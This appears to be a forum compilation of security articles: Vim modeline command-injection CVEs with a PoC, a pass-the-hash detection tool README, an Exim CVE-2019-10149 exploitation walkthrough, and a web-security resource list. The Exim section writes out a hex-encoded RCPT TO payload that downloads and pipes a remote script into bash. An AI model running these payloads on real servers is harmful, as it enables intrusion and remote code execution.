CVE-2016-1248 Vim before patch 8.0.0056 does not properly validate values for the 'filetype', 'syntax' and 'keymap' options, which may result in the execution of arbitrary code if a file with a specially crafted modeline is opened. Clone the vim repository from github. Switch to the v8.0.055 branch, and then compile and install. The content of .vimrc is as follows: Proof of Concept: 00000000: 2f2f 2076 696d 3a20 7365 7420 6674 3d00 // vim: set ft=. 00000010: 2165 6368 6f5c 2070 776e 6564 203a 200a !echo\ pwned : . Generally debugging with Verbose. set verbose to 20, it gives you output that everything vim is doing. Look at the call chain: Autocommand is a way to tell Vim to run certain commands when certain events happen. Let's dive right into an example. If we type :set syntax=python in the command mode, vim will look for vmscript related to python syntax in the corresponding directory and load it. If we set filetype or syntax in modeline, au! FileType * exe "set syntax=" . expand("<amatch>") will be triggered to complete the above process. Remove all autocommands associated with FileType firstly and then call exe (ie execute) to execute set syntax=filetype. "exe" command is used to execute an expression string, resulting in command injection because the filetype has not been validated and sanitized. Related code is in /usr/local/share/vim/vim80/syntax/syntax.vim. Patch 8.0.0056 adds filetype check, only allowing valid characters in 'filetype', 'syntax' and 'keymap'. CVE-2019-12735 It has been disclosed recently, affecting Vim < 8.1.1365 and Neovim < 0.3.6. Similar to the CVE-2002-1377, a new point used to bypass the sanbox has been found. The definition of source command is as follows. :so! filepath can read vim commands from filepath。 Construct the PoC: put the command to be executed in the text section, and use so! % to load the current file. [text]{white}{vi:|vim:|ex:}[white]{options} Patch 8.1.1365: checks for the sandbox when sourcing a file. Conclusion A arbitrary code execution zero-day vulnerability was found in notepad some days ago. It seems vim doesn't like falling behind either. Vulnerabilities are everywhere, and be cautious to open any unknown files. Reference https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md https://github.com/vim/vim/commit/d0b5138ba4bccff8a744c99836041ef6322ed39a About Knownsec & 404 Team Beijing Knownsec Information Technology Co., Ltd. was established by a group of high-profile international security experts. It has over a hundred frontier security talents nationwide as the core security research team to provide long-term internationally advanced network security solutions for the government and enterprises. Knownsec's specialties include network attack and defense integrated technologies and product R&D under new situations. It provides visualization solutions that meet the world-class security technology standards and enhances the security monitoring, alarm and defense abilities of customer networks with its industry-leading capabilities in cloud computing and big data processing. The company's technical strength is strongly recognized by the State Ministry of Public Security, the Central Government Procurement Center, the Ministry of Industry and Information Technology (MIIT), China National Vulnerability Database of Information Security (CNNVD), the Central Bank, the Hong Kong Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients. 404 Team, the core security team of Knownsec, is dedicated to the research of security vulnerability and offensive and defensive technology in the fields of Web, IoT, industrial control, blockchain, etc. 404 team has submitted vulnerability research to many well-known vendors such as Microsoft, Apple, Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the industry. The most well-known sharing of Knownsec 404 Team includes: KCon Hacking Conference, Seebug Vulnerability Database and ZoomEye Cyberspace Search Engine. Sursa: https://paper.seebug.org/956/
  10. Ketshash A little tool for detecting suspicious privileged NTLM connections, in particular Pass-The-Hash attack, based on event viewer logs. The tool was published as part of the "Pass-The-Hash detection" research - more details on "Pass-The-Hash detection" are in the blog post: https://www.cyberark.com/threat-research-blog/detecting-pass-the-hash-with-windows-event-viewer Full research can be found in the white paper: https://www.cyberark.com/resource/pass-hash-detection-using-windows-events/ (direct link: http://lp.cyberark.com/rs/cyberarksoftware/images/wp-Labs-Pass-the-hash-research-01312018.pdf) Demo Requirements Account with the following privileges: Access to remote machines' security event logs ActiveDirectory read permissions (standard domain account) Computers synchronized with the same time, otherwise it can affect the results Minimum PowerShell 2.0 Overview Ketshash is a tool for detecting suspicious privileged NTLM connections, based on the following information: Security event logs on the monitored machines (Login events) Authentication events from Active Directory Usage There are two options: Basic Usage Open PowerShell and run: Import-Module .\Ketshash.ps1 or copy & paste Ketshash.ps1 content to PowerShell session Invoke-DetectPTH <arguments> Ketshash Runner Make sure Ketshash.ps1 is in the same directory of KetshashRunner.exe Double click on KetshashRunner.exe, change settings if you need and press Run Invoke-DetectPTH Parameters: TargetComputers - Array of target computers to detect for NTLM connections. TargetComputersFile - Path to file with list of target computers to detect for NTLM connections. StartTime - Time when the detection starts. The default is the current time. UseKerberosCheck - Checks for TGT\TGS logons on the DCs on the organization. The default is to search for legitimate logon on the source machine. Anyway, with or without this switch there is still a query for event ID 4648 on the source machine. UseNewCredentialsCheck - Checks for logon events with logon type 9 (like Mimikatz). This is optional, the default algorithm already covers it. It exists just to show another option to detect suspicious NTLM connections. On the Windows versions 10 and Server 2016, "Microsoft-Windows-LSA/Operational" should be enabled in event viewer. On Windows 10 and Server 2016, enabling "kernel object auditing" will provide more accurate information such as writing to LSASS. LogFile - Log file path to save the results. MaxHoursOfLegitLogonPriorToNTLMEvent - How many hours to look backwards and search for legitimate logon from the time of the NTLM event. The default is 2 hours backwards. Example (recommended): Invoke-DetectPTH -TargetComputers "MARS-7" -LogFile "C:\tmp\log.txt" Example: Invoke-DetectPTH -TargetComputers "ComputerName" -StartTime ([datetime]"2017-12-14 12:50:00 PM") -LogFile "C:\tmp\log.txt" -UseKerberosCheck -UseNewCredentialsCheck Debugging Because it uses threads, it is not possible to debug the script block of the main function. A workaround can be by using Invoke-Command before the Detect-PTHMultithreaded: Invoke-Command -ScriptBlock $detectPTHScriptBlock -ArgumentList $TargetComputers, $startTime, $LogFile, $UseKerberosCheck, $UseNewCredentialsCheck, $MaxHoursOfLegitLogonPriorToNTLMEvent` Detect only one target computer: Invoke-DetectPTH -TargetComputers "<computer_name>" ... Change the $TargetComputer to be [string] instead of [array]. This way it is possible to use breakpoints inside the script block of the main function. References For more comments and questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs. Sursa: https://github.com/cyberark/ketshash#ketshash
  11. The Return of the WIZard: RCE in Exim A look at CVE-2019-10149, RCE in Exim 14 JUN 2019 - 7 MINUTE READ exploitsnotes On 06 June 2019 Qualys disclosed a remote command execution vulnerability that affects exim versions 4.87 to 4.91. In their disclosure it was noted the following. Our local-exploitation method does not work remotely … We eventually devised an elaborate method for exploiting Exim remotely in its default configuration, but we first identified various non-default configurations that are easy to exploit remotely` In this post, I will walk you through setting up a vulnerable exim server using a non-default configuration, crafting your own payload, and exploiting the vulnerability. Vulnerable Environment Setup First, we will setup a vulnerable ubuntu 18.04 server with a copy of exim version 4.89. This will allow us to test and debug our exploit code later. In this example I am using DigitalOcean to spin up a virtual machine. If you don’t already have a DigitalOcean account, you can use my referral code and get $10 off your new account while also supporting me. Once we have a functional Ubuntu VM, we can run the following to setup exim 4.89. ## Download and extract exim version 4.89 wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz ## Move into the extracted folder cd exim-4.89/ ## Create ./configure file wget https://gist.githubusercontent.com/GlitchWitchIO/427b92ad92aa5370f78011f04c7ad528/raw/b2d0af60047da8a3224c0a616417d240607b76b9/exim%2520configure -O configure ## Copy and modify required config files sed -e 's,^EXIM_USER.*$,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile && cp exim_monitor/EDITME Local/eximon.conf ## Create exim user and group groupadd -g 31 exim && useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim ## Install dependencies apt-get update && apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev ## Install exim 4.89 make install ## edit /usr/exim/configure to allow relaying so we can exploit without waiting 7 days sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = */' /usr/exim/configure sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure sed -i '/require verify = recipient/c\#require verify = recipient' /usr/exim/configure ## Run exim as user exim sudo -H -u exim /usr/exim/bin/exim -bd -d-receive You’ll notice the last sed command is used to achieve the non-default vulnerable configuration mentioned in the Qualys disclosure. If the “verify = recipient” ACL was removed manually by an administrator (maybe to prevent username enumeration via RCPT TO), then our local-exploitation method also works remotely. Now that we have exim running, we can move back to our attacker machine to craft and run our exploit. Crafting the exploit In the disclosure, the Proof-of-Concept provided is as follows \x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22. At first glance this might seem like gibberish, but we can decode it by understanding what’s happening. First you’ll notice the \, this is acting as a separator and is required after each space or symbol. Next, we see x2F which is hexadecimal for /. We also have \t which is acting as a blank space. Knowing that this is hexidecimal we can go ahead and lookup the remaining symbols. Converting the above will leave us with the following command. /bin/sh -c "id>>/tmp/id" With this knowledge, we can now craft our own exploit code. \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\ which converts to /bin/sh -c “wget https://glitchwitch.io/payload -O - | bash” What this will ultimately do is download the payload file and execute its contents. This allows us to quickly and easily modify our attack without changing the exploit code itself. The payload could include anything from a reverse shell to a full fledged backdoor. We can use the following table to help us quickly craft different exploits. \t-c\ = -c \t\= space x20 = space x7C = | x2F = / x3A = : x2D = - x3E = > x26 = & x22 = " One example might be \x2Fusr\x2Fbin\x2Fwget\x20\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Ftest\x20\x2DO\x20\x22\x2Ftmp\x2Ftest\x22 which converts to /usr/bin/wget https://glitchwitch.io/test -O /tmp/test With this understanding, we can go ahead and test our newly crafted exploit. Note the response code 250 after each successful command. Exploiting First we use nc to start a connection to the server. glitchwitch@localghost:~$ nc 10.0.13.37 25 220 exim ESMTP Exim 4.89 Fri, 14 Jun 2019 21:57:18 +0000 Once we are connected we say HELO. helo localhost 250 exim Hello localhost [10.10.13.37] Next, we set the sender address to blank. mail from:<> 250 OK Then we set out recipient address with the payload we made earlier by inserting our desired command where the ellipses is rcpt to:<${run{...}}@localhost>. rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost> 250 Accepted And finally, we have to include a buffer as explained in the disclosure. we send more than received_headers_max (30, by default) “Received:” headers to the mail server, to set process_recipients to RECIP_FAIL_LOOP and hence execute the vulnerable code; We first type DATA, followed by 31 lines, a blank line, and a period. DATA 354 Enter message, ending with "." on a line by itself Received: 1 Received: 2 Received: 3 Received: 4 Received: 5 Received: 6 Received: 7 Received: 8 Received: 9 Received: 10 Received: 11 Received: 12 Received: 13 Received: 14 Received: 15 Received: 16 Received: 17 Received: 18 Received: 19 Received: 20 Received: 21 Received: 22 Received: 23 Received: 24 Received: 25 Received: 26 Received: 27 Received: 28 Received: 29 Received: 30 Received: 31 . If we take a look at our exim server, we should see the following output on our terminal. 11009 **** SPOOL_IN - No additional fields 11009 body_linecount=0 message_linecount=35 11009 DSN: set orcpt: NULL flags: 0 11009 post-process ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost (2) 11009 LOG: MAIN 11009 ** ${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fglitchwitch\x2Eio\x2Fpayload\t-O\t-\t\x7C\tbash\x22\}}@localhost: Too many "Received" headers - suspected mail loop 11009 direct command: 11009 argv[0] = /bin/sh 11009 argv[1] = -c 11009 argv[2] = wget https://glitchwitch.io/payload -O - | bash 11009 argv[3] = } 11009 direct command: 11009 argv[0] = /bin/sh 11009 argv[1] = -c 11009 argv[2] = wget https://glitchwitch.io/payload -O - | bash 11009 argv[3] = } Notice the direct command section which displays the executed payload. This can be very helpful for debugging your exploit. Demo Conclusion CVE-2019-10149 is a very serious vulnerability that is being actively exploited in the wild as documented here and here. At the time of writing this shodan reports nearly 5.5 million devices running exim, with over half of those being within the affected version range. While no public Proof-of-Concept exists for servers with default configurations, it would be trivial for a determined party to develop such a PoC given the public nature of the vulnerability details. I hope this post will have helped you with your research. I am about to start the PWK (Penetration Testing with Kali) course in preparation for my OSCP (Offensive Security Certified Professional) certification exam and as such this may be my last public blog post for sometime. Between penetration testing engagements, personal research, and downtime I am not always the most online™. While I don’t see that changing anytime soon, I am always looking for ways to help give back to the infosec community and help others learn the way I have. I want to say thank you to everyone who has visited my blog and found these posts helpful. Your continued comments, emails, and tweets are much appreciated. (p.s yes I have seen your comments on the Windows 10 on DO post, keep an eye out for an update) Sursa: https://glitchwitch.io/blog/2019-06/exploiting-cve-2019-10149/
  12. Awesome Web Security 🐶 Curated list of Web Security materials and resources. Needless to say, most websites suffer from various types of bugs which may eventually lead to vulnerabilities. Why would this happen so often? There can be many factors involved including misconfiguration, shortage of engineers' security skills, etc. To combat this, here is a curated list of Web Security materials and resources for learning cutting edge penetration techniques, and I highly encourage you to read this article "So you want to be a web security researcher?" first. Please read the contribution guidelines before contributing. 🌈 Want to strengthen your penetration skills? I would recommend playing some awesome-ctfs. If you enjoy this awesome list and would like to support it, check out my Patreon page Also, don't forget to check out my repos 🐾 or say hi on my Twitter! Contents Forums Introduction Tips XSS Prototype Pollution CSV Injection SQL Injection Command Injection ORM Injection FTP Injection XXE CSRF Clickjacking SSRF Web Cache Poisoning Relative Path Overwrite Open Redirect SAML Upload Rails AngularJS ReactJS SSL/TLS Webmail NFS AWS Azure Fingerprint Sub Domain Enumeration Crypto Web Shell OSINT Books DNS Rebinding Evasions XXE CSP WAF JSMVC Authentication Tricks CSRF Clickjacking Remote Code Execution XSS SQL Injection NoSQL Injection FTP Injection XXE SSRF Web Cache Poisoning Header Injection URL Others Browser Exploitation PoCs Database Tools Auditing Command Injection Reconnaissance OSINT Sub Domain Enumeration Code Generating Fuzzing Scanning Penetration Testing Leaking Offensive XSS SQL Injection Template Injection XXE CSRF SSRF Detecting Preventing Proxy Webshell Disassembler Decompiler DNS Rebinding Others Social Engineering Database Blogs Twitter Users Practices Application AWS XSS ModSecurity / OWASP ModSecurity Core Rule Set Community Miscellaneous Forums Phrack Magazine - Ezine written by and for hackers. The Hacker News - Security in a serious way. Security Weekly - The security podcast network. The Register - Biting the hand that feeds IT. Dark Reading - Connecting The Information Security Community. HackDig - Dig high-quality web security articles for hacker. Introduction Tips Hacker101 - Written by hackerone. The Daily Swig - Web security digest - Written by PortSwigger. Web Application Security Zone by Netsparker - Written by Netsparker. Infosec Newbie - Written by Mark Robinson. The Magic of Learning - Written by @bitvijays. CTF Field Guide - Written by Trail of Bits. PayloadsAllTheThings - Written by @swisskyrepo. XSS - Cross-Site Scripting Cross-Site Scripting – Application Security – Google - Written by Google. H5SC - Written by @cure53. AwesomeXSS - Written by @s0md3v. XSS.png - Written by @jackmasa. C.XSS Guide - Written by @JakobKallin and Irene Lobo Valbuena. THE BIG BAD WOLF - XSS AND MAINTAINING ACCESS - Written by Paulos Yibelo. payloadbox/xss-payload-list - Written by @payloadbox. PayloadsAllTheThings - XSS Injection - Written by @swisskyrepo. Prototype Pollution Prototype pollution attack in NodeJS application - Written by @HoLyVieR. CSV Injection CSV Injection -> Meterpreter on Pornhub - Written by Andy. The Absurdly Underestimated Dangers of CSV Injection - Written by George Mauer. PayloadsAllTheThings - CSV Injection - Written by @swisskyrepo. SQL Injection SQL Injection Cheat Sheet - Written by @netsparker. SQL Injection Wiki - Written by NETSPI. SQL Injection Pocket Reference - Written by @LightOS. payloadbox/sql-injection-payload-list - Written by @payloadbox. PayloadsAllTheThings - SQL Injection - Written by @swisskyrepo. Command Injection Potential command injection in resolv.rb - Written by @drigg3r. payloadbox/command-injection-payload-list - Written by @payloadbox. PayloadsAllTheThings - Command Injection - Written by @swisskyrepo. ORM Injection HQL for pentesters - Written by @h3xstream. HQL : Hyperinsane Query Language (or how to access the whole SQL API within a HQL injection ?) - Written by @_m0bius. ORM2Pwn: Exploiting injections in Hibernate ORM - Written by Mikhail Egorov. ORM Injection - Written by Simone Onofri. FTP Injection Advisory: Java/Python FTP Injections Allow for Firewall Bypass - Written by Timothy Morgan. SMTP over XXE − how to send emails using Java's XML parser - Written by Alexander Klink. XXE - XML eXternal Entity XXE - Written by @phonexicum. XML external entity (XXE) injection - Written by portswigger. XML Schema, DTD, and Entity Attacks - Written by Timothy D. Morgan and Omar Al Ibrahim. payloadbox/xxe-injection-payload-list - Written by @payloadbox PayloadsAllTheThings - XXE Injection - Written by various contributors. CSRF - Cross-Site Request Forgery Wiping Out CSRF - Written by @jrozner. PayloadsAllTheThings - CSRF Injection - Written by @swisskyrepo. Clickjacking Clickjacking - Written by Imperva. X-Frame-Options: All about Clickjacking? - Written by Mario Heiderich. SSRF - Server-Side Request Forgery SSRF bible. Cheatsheet - Written by Wallarm. PayloadsAllTheThings - Server-Side Request Forgery - Written by @swisskyrepo. Web Cache Poisoning Practical Web Cache Poisoning - Written by @albinowax. PayloadsAllTheThings - Web Cache Deception - Written by @swisskyrepo. Relative Path Overwrite Large-scale analysis of style injection by relative path overwrite - Written by The Morning Paper. MBSD Technical Whitepaper - A few RPO exploitation techniques - Written by Mitsui Bussan Secure Directions, Inc.. Open Redirect Open Redirect Vulnerability - Written by s0cket7. payloadbox/open-redirect-payload-list - Written by @payloadbox. PayloadsAllTheThings - Open Redirect - Written by @swisskyrepo. Security Assertion Markup Language (SAML) How to Hunt Bugs in SAML; a Methodology - Part I - Written by epi. How to Hunt Bugs in SAML; a Methodology - Part II - Written by epi. How to Hunt Bugs in SAML; a Methodology - Part III - Written by epi. PayloadsAllTheThings - SAML Injection - Written by @swisskyrepo. Upload File Upload Restrictions Bypass - Written by Haboob Team. PayloadsAllTheThings - Upload Insecure Files - Written by @swisskyrepo. Rails Rails Security - First part - Written by @qazbnm456. Zen Rails Security Checklist - Written by @brunofacca. Rails SQL Injection - Written by @presidentbeef. Official Rails Security Guide - Written by Rails team. AngularJS XSS without HTML: Client-Side Template Injection with AngularJS - Written by Gareth Heyes. DOM based Angular sandbox escapes - Written by @garethheyes ReactJS XSS via a spoofed React element - Written by Daniel LeCheminant. SSL/TLS SSL & TLS Penetration Testing - Written by APTIVE. Practical introduction to SSL/TLS - Written by @Hakky54. Webmail Why mail() is dangerous in PHP - Written by Robin Peraglie. NFS NFS | PENETRATION TESTING ACADEMY - Written by PENETRATION ACADEMY. AWS PENETRATION TESTING AWS STORAGE: KICKING THE S3 BUCKET - Written by Dwight Hohnstein from Rhino Security Labs. AWS PENETRATION TESTING PART 1. S3 BUCKETS - Written by VirtueSecurity. AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - Written by VirtueSecurity. Azure Common Azure Security Vulnerabilities and Misconfigurations - Written by @rhinobenjamin. Cloud Security Risks (Part 1): Azure CSV Injection Vulnerability - Written by @spengietz. Fingerprint Sub Domain Enumeration A penetration tester’s guide to sub-domain enumeration - Written by Bharath. The Art of Subdomain Enumeration - Written by Patrik Hudak. Crypto Applied Crypto Hardening - Written by The bettercrypto.org Team. Web Shell Hunting for Web Shells - Written by Jacob Baines. Hacking with JSP Shells - Written by @_nullbind. OSINT Hacking Cryptocurrency Miners with OSINT Techniques - Written by @s3yfullah. OSINT x UCCU Workshop on Open Source Intelligence - Written by Philippe Lin. 102 Deep Dive in the Dark Web OSINT Style Kirby Plessas - Presented by @kirbstr. The most complete guide to finding anyone’s email - Written by Timur Daudpota. Books XSS Cheat Sheet - 2018 Edition - Written by @brutelogic. DNS Rebinding Attacking Private Networks from the Internet with DNS Rebinding - Written by @brannondorsey Hacking home routers from the Internet - Written by @radekk Evasions XXE Bypass Fix of OOB XXE Using Different encoding - Written by @SpiderSec. CSP Any protection against dynamic module import? - Written by @shhnjk. CSP: bypassing form-action with reflected XSS - Written by Detectify Labs. TWITTER XSS + CSP BYPASS - Written by Paulos Yibelo. Neatly bypassing CSP - Written by Wallarm. Evading CSP with DOM-based dangling markup - Written by portswigger. GitHub's CSP journey - Written by @ptoomey3. GitHub's post-CSP journey - Written by @ptoomey3. WAF Web Application Firewall (WAF) Evasion Techniques - Written by @secjuice. Web Application Firewall (WAF) Evasion Techniques #2 - Written by @secjuice. Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities - Written by @Brett Buerhaus. How to bypass libinjection in many WAF/NGWAF - Written by @d0znpp. JSMVC JavaScript MVC and Templating Frameworks - Written by Mario Heiderich. Authentication Trend Micro Threat Discovery Appliance - Session Generation Authentication Bypass (CVE-2016-8584) - Written by @malerisch and @steventseeley. Tricks CSRF Neat tricks to bypass CSRF-protection - Written by Twosecurity. Exploiting CSRF on JSON endpoints with Flash and redirects - Written by @riyazwalikar. Stealing CSRF tokens with CSS injection (without iFrames) - Written by @dxa4481. Cracking Java’s RNG for CSRF - Javax Faces and Why CSRF Token Randomness Matters - Written by @rramgattie. Clickjacking Clickjackings in Google worth 14981.7$ - Written by @raushanraj_65039. Remote Code Execution CVE-2019-1306: ARE YOU MY INDEX? - Written by @yu5k3. WebLogic RCE (CVE-2019-2725) Debug Diary - Written by Badcode@Knownsec 404 Team. What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability. - Written by @breenmachine. Exploiting Node.js deserialization bug for Remote Code Execution - Written by OpSecX. DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE - Written by Ambionics Security. How we exploited a remote code execution vulnerability in math.js - Written by @capacitorset. GitHub Enterprise Remote Code Execution - Written by @iblue. Evil Teacher: Code Injection in Moodle - Written by RIPS Technologies. How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Written by Orange. $36k Google App Engine RCE - Written by Ezequiel Pereira. Poor RichFaces - Written by CODE WHITE. Remote Code Execution on a Facebook server - Written by @blaklis_. XSS Exploiting XSS with 20 characters limitation - Written by Jorge Lajara. Upgrade self XSS to Exploitable XSS an 3 Ways Technic - Written by HAHWUL. XSS without parentheses and semi-colons - Written by @garethheyes. XSS-Auditor — the protector of unprotected and the deceiver of protected. - Written by @terjanq. Query parameter reordering causes redirect page to render unsafe URL - Written by kenziy. ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else - Written by Mario Heiderich. How I found a $5,000 Google Maps XSS (by fiddling with Protobuf) - Written by @marin_m. DON'T TRUST THE DOM: BYPASSING XSS MITIGATIONS VIA SCRIPT GADGETS - Written by Sebastian Lekies, Krzysztof Kotowicz, and Eduardo Vela. Uber XSS via Cookie - Written by zhchbin. DOM XSS – auth.uber.com - Written by StamOne_. Stored XSS on Facebook - Written by Enguerran Gillier. XSS in Google Colaboratory + CSP bypass - Written by Michał Bentkowski. Another XSS in Google Colaboratory - Written by Michał Bentkowski. </script> is filtered ? - Written by @strukt93. SQL Injection MySQL Error Based SQL Injection Using EXP - Written by @osandamalith. SQL injection in an UPDATE query - a bug bounty story! - Written by Zombiehelp54. GitHub Enterprise SQL Injection - Written by Orange. Making a Blind SQL Injection a little less blind - Written by TomNomNom. Red Team Tales 0x01: From MSSQL to RCE - Written by Tarlogic. NoSQL Injection GraphQL NoSQL Injection Through JSON Types - Written by Pete. FTP Injection XML Out-Of-Band Data Retrieval - Written by @a66at and Alexey Osipov. XXE OOB exploitation at Java 1.7+ - Written by Ivan Novikov. XXE Evil XML with two encodings - Written by Arseniy Sharoglazov. XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites) - Written by Rose Jackcode. XML Out-Of-Band Data Retrieval - Written by Timur Yunusov and Alexey Osipov. XXE OOB exploitation at Java 1.7+ (2014): Exfiltration using FTP protocol - Written by Ivan Novikov. XXE OOB extracting via HTTP+FTP using single opened port - Written by skavans. What You Didn't Know About XML External Entities Attacks - Written by Timothy D. Morgan. Pre-authentication XXE vulnerability in the Services Drupal module - Written by Renaud Dubourguais. Forcing XXE Reflection through Server Error Messages - Written by Antti Rantasaari. Exploiting XXE with local DTD files - Written by Arseniy Sharoglazov. Automating local DTD discovery for XXE exploitation - Written by Philippe Arteau. SSRF AWS takeover through SSRF in JavaScript - Written by Gwen. SSRF in Exchange leads to ROOT access in all instances - Written by @0xacb. SSRF to ROOT Access - A $25k bounty for SSRF leading to ROOT Access in all instances by 0xacb. PHP SSRF Techniques - Written by @themiddleblue. SSRF in https://imgur.com/vidgif/url - Written by aesteral. All you need to know about SSRF and how may we write tools to do auto-detect - Written by @Auxy233. A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! - Written by Orange. SSRF Tips - Written by xl7dev. Into the Borg – SSRF inside Google production network - Written by opnsec. Piercing the Veil: Server Side Request Forgery to NIPRNet access - Written by Alyssa Herrera. Web Cache Poisoning Bypassing Web Cache Poisoning Countermeasures - Written by @albinowax. Cache poisoning and other dirty tricks - Written by Wallarm. Header Injection Java/Python FTP Injections Allow for Firewall Bypass - Written by Timothy Morgan. URL Some Problems Of URLs - Written by Chris Palmer. Phishing with Unicode Domains - Written by Xudong Zheng. Unicode Domains are bad and you should feel bad for supporting them - Written by VRGSEC. [dev.twitter.com] XSS - Written by Sergey Bobrov. Others How I hacked Google’s bug tracking system itself for $15,600 in bounties - Written by @alex.birsan. Some Tricks From My Secret Group - Written by phithon. Inducing DNS Leaks in Onion Web Services - Written by @epidemics-scepticism. Stored XSS, and SSRF in Google using the Dataset Publishing Language - Written by @signalchaos. Browser Exploitation Frontend (like SOP bypass, URL spoofing, and something like that) The world of Site Isolation and compromised renderer - Written by @shhnjk. The Cookie Monster in Your Browsers - Written by @filedescriptor. Bypassing Mobile Browser Security For Fun And Profit - Written by @rafaybaloch. The inception bar: a new phishing method - Written by jameshfisher. JSON hijacking for the modern web - Written by portswigger. IE11 Information disclosure - local file detection - Written by James Lee. SOP bypass / UXSS – Stealing Credentials Pretty Fast (Edge) - Written by Manuel. Особенности Safari в client-side атаках - Written by Bo0oM. How do we Stop Spilling the Beans Across Origins? - Written by aaj at google.com and mkwst at google.com. Setting arbitrary request headers in Chromium via CRLF injection - Written by Michał Bentkowski. I’m harvesting credit card numbers and passwords from your site. Here’s how. - Written by David Gilbertson. Backend (core of Browser implementation, and often refers to C or C++ part) Breaking UC Browser - Written by Доктор Веб. Attacking JavaScript Engines - A case study of JavaScriptCore and CVE-2016-4622 - Written by phrack@saelo.net. Three roads lead to Rome - Written by @holynop. Exploiting a V8 OOB write. - Written by @halbecaf. SSD Advisory – Chrome Turbofan Remote Code Execution - Written by SecuriTeam Secure Disclosure (SSD). Look Mom, I don't use Shellcode - Browser Exploitation Case Study for Internet Explorer 11 - Written by @moritzj. PUSHING WEBKIT'S BUTTONS WITH A MOBILE PWN2OWN EXPLOIT - Written by @wanderingglitch. A Methodical Approach to Browser Exploitation - Written by RET2 SYSTEMS, INC. CVE-2017-2446 or JSC::JSGlobalObject::isHavingABadTime. - Written by Diary of a reverse-engineer. PoCs Database js-vuln-db - Collection of JavaScript engine CVEs with PoCs by @tunz. awesome-cve-poc - Curated list of CVE PoCs by @qazbnm456. Some-PoC-oR-ExP - 各种漏洞poc、Exp的收集或编写 by @coffeehb. uxss-db - Collection of UXSS CVEs with PoCs by @Metnew. SPLOITUS - Exploits & Tools Search Engine by @i_bo0om. Exploit Database - ultimate archive of Exploits, Shellcode, and Security Papers by Offensive Security. Tools Auditing prowler - Tool for AWS security assessment, auditing and hardening by @Alfresco. slurp - Evaluate the security of S3 buckets by @hehnope. A2SV - Auto Scanning to SSL Vulnerability by @hahwul. Command Injection commix - Automated All-in-One OS command injection and exploitation tool by @commixproject. Reconnaissance OSINT - Open-Source Intelligence Shodan - Shodan is the world's first search engine for Internet-connected devices by @shodanhq. Censys - Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet by University of Michigan. urlscan.io - Service which analyses websites and the resources they request by @heipei. ZoomEye - Cyberspace Search Engine by @zoomeye_team. FOFA - Cyberspace Search Engine by BAIMAOHUI. NSFOCUS - THREAT INTELLIGENCE PORTAL by NSFOCUS GLOBAL. Photon - Incredibly fast crawler designed for OSINT by @s0md3v. FOCA - FOCA (Fingerprinting Organizations with Collected Archives) is a tool used mainly to find metadata and hidden information in the documents its scans by ElevenPaths. SpiderFoot - Open source footprinting and intelligence-gathering tool by @binarypool. xray - XRay is a tool for recon, mapping and OSINT gathering from public networks by @evilsocket. gitrob - Reconnaissance tool for GitHub organizations by @michenriksen. GSIL - Github Sensitive Information Leakage(Github敏感信息泄露)by @FeeiCN. raven - raven is a Linkedin information gathering tool that can be used by pentesters to gather information about an organization employees using Linkedin by @0x09AL. ReconDog - Reconnaissance Swiss Army Knife by @s0md3v. Databases - start.me - Various databases which you can use for your OSINT research by @technisette. peoplefindThor - the easy way to find people on Facebook by [postkassen](mailto:postkassen@oejvind.dk?subject=peoplefindthor.dk comments). tinfoleak - The most complete open-source tool for Twitter intelligence analysis by @vaguileradiaz. Raccoon - High performance offensive security tool for reconnaissance and vulnerability scanning by @evyatarmeged. Social Mapper - Social Media Enumeration & Correlation Tool by Jacob Wilkin(Greenwolf) by @SpiderLabs. espi0n/Dockerfiles - Dockerfiles for various OSINT tools by @espi0n. Sub Domain Enumeration Sublist3r - Sublist3r is a multi-threaded sub-domain enumeration tool for penetration testers by @aboul3la. EyeWitness - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible by @ChrisTruncer. subDomainsBrute - A simple and fast sub domain brute tool for pentesters by @lijiejie. AQUATONE - Tool for Domain Flyovers by @michenriksen. domain_analyzer - Analyze the security of any domain by finding all the information possible by @eldraco. VirusTotal domain information - Searching for domain information by VirusTotal. Certificate Transparency - Google's Certificate Transparency project fixes several structural flaws in the SSL certificate system by @google. Certificate Search - Enter an Identity (Domain Name, Organization Name, etc), a Certificate Fingerprint (SHA-1 or SHA-256) or a crt.sh ID to search certificate(s) by @crtsh. GSDF - Domain searcher named GoogleSSLdomainFinder by @We5ter. Code Generating VWGen - Vulnerable Web applications Generator by @qazbnm456. Fuzzing wfuzz - Web application bruteforcer by @xmendez. 